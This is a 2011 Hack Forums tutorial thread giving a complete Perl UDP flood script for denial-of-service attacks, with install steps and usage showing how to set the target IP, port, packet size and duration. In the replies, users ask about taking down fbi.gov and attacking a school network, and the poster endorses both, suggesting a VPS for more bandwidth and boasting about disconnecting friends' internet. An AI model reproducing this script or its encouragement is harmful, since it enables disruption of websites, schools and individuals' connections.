![]() |
|
[TuT] UDP Flood Attack [Linux] - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444) +--- Forum: Computing (https://hackforums.net/forumdisplay.php?fid=88) +---- Forum: Linux (https://hackforums.net/forumdisplay.php?fid=85) +---- Thread: [TuT] UDP Flood Attack [Linux] (/showthread.php?tid=1461329) |
[TuT] UDP Flood Attack [Linux] - Anonymous.7654 - Jul 8, 2011 UDP Flood Perl Script (Linux)
Author | Anonymous.7654
Start 1.Terminal > type "sudo apt-get install perl" 2.Copy script, paste it into Text Editor, and save it with a .pl file extension (for example, udp.pl) 3.Copy file, paste it into Home Folder 4.Terminal > type "sudo chmod +x ./udp.pl" Script Code #!/usr/bin/perl ############## # udp flood. ############## use Socket; use strict; if ($#ARGV != 3) { print "flood.pl <ip> <port> <size> <time>\n\n"; print " port=0: use random ports\n"; print " size=0: use random size between 64 and 1024\n"; print " time=0: continuous flood\n"; exit(1); } my ($ip,$port,$size,$time) = @ARGV; my ($iaddr,$endtime,$psize,$pport); $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n"; $endtime = time() + ($time ? $time : 1000000); socket(flood, PF_INET, SOCK_DGRAM, 17); print "Flooding $ip " . ($port ? $port : "random") . " port with " . ($size ? "$size-byte" : "random size") . " packets" . ($time ? " for $time seconds" : "") . "\n"; print "Break with Ctrl-C\n" unless $time; for (;time() <= $endtime;) { $psize = $size ? $size : int(rand(1024-64)+64) ; $pport = $port ? $port : int(rand(65500))+1; send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));} How to use script? Terminal > type "./udp.pl 127.0.0.1 80 65500 120" 127.0.0.1 = IP you want to attack , 80 = Port , 65500 = Packet Size , 120 = Attack Time If you want good effect,you need have good Internet Uploud Speed,Good luck Anonymous.7654 * - Amzo - Jul 8, 2011 Is this what lulz sec used? Can I take down websites like fbi.gov and hackforums with it like they did? * - KevinsL - Jul 8, 2011 i tought the max packet size was 1024 * - Inventor1 - Jul 8, 2011 (Jul 8, 2011 10:27 AM)Amzo Wrote: Is this what lulz sec used? Can I take down websites like fbi.gov and hackforums with it like they did? I believe that you will need about 2-5 computers to get this to wipe out larger servers. Thanks for it! Inventor1 * - Amzo - Jul 8, 2011 (Jul 8, 2011 10:37 AM)KevinsL Wrote: i tought the max packet size was 1024 Probably wouldn't matter. Most services restrict the upd packet size to around 570 bytes. but that is the ipv4 + udp around 40 or so bytes, the rest will probably be a payload to beef up the udp packet. Like so: PHP Code But, depending on the machine, port, service etc, it's possible it willg et dropped. * - Anonymous.7654 - Jul 8, 2011 Thanks guys for the replies. * - Gent - Jul 8, 2011 I try "1.Terminal > type "sudo apt-get install perl"" but it says apt-get not found. * - Anonymous.7654 - Jul 8, 2011 (Jul 8, 2011 01:15 PM)Joomla12 Wrote: I try "1.Terminal > type "sudo apt-get install perl"" but it says apt-get not found. Go to terminal and write "sudo apt-get install perl" Dont use "" * - Gent - Jul 8, 2011 I did that. Still says apt-get not found. :S joom@linux~% sudo apt-get install perl joom@linux~% zsh can not find operation apt-get * - KaptaiN - Jul 8, 2011 Nice, this can also be uploaded to a a large server to be able to take down other websites. * - Anonymous.7654 - Jul 8, 2011 (Jul 8, 2011 02:12 PM)KaptaiN Wrote: Nice, this can also be uploaded to a a large server to be able to take down other websites. Yes this script very strong,but need good internet speed,my speed very good so i can disconnect my all friends internets. (Jul 8, 2011 02:02 PM)Joomla12 Wrote: I did that. Still says apt-get not found. :S What Distribution you use? I use Ubuntu so i use apt-get install,maybe other Linux need use other command,i dont know.But Ubuntu and Mint this script works. * - Draucia - Jul 8, 2011 (Jul 8, 2011 02:29 PM)Anonymous.7654 Wrote: Yes this script very strong,but need good internet speed,my speed very good so i can disconnect my all friends internets. He's having some problems with apt-get (dunno what it could be tbh). Tested on my home connection... and I heard my broher say "connection lost!" (rune scape). Works, haha. Will this comply with http_proxy environment variable? So when I do: "export http_proxy http://127.0.0.1/", will it use the proxy (I'm not sure if you have to program it to use the http_proxy variable, or everything in the terminal uses the variable). * - Anonymous.7654 - Jul 8, 2011 (Jul 8, 2011 03:05 PM)Draucia Wrote: He's having some problems with apt-get (dunno what it could be tbh). Tested on my home connection... and I heard my broher say "connection lost!" (rune scape). Works, haha. Haha nice,what distribution you use? * - Gent - Jul 8, 2011 Can I hack my school's network with this? * - Anonymous.7654 - Jul 8, 2011 Yes you can DoS School Computers,if you have good interned speed,if you dont have you can use VPS. |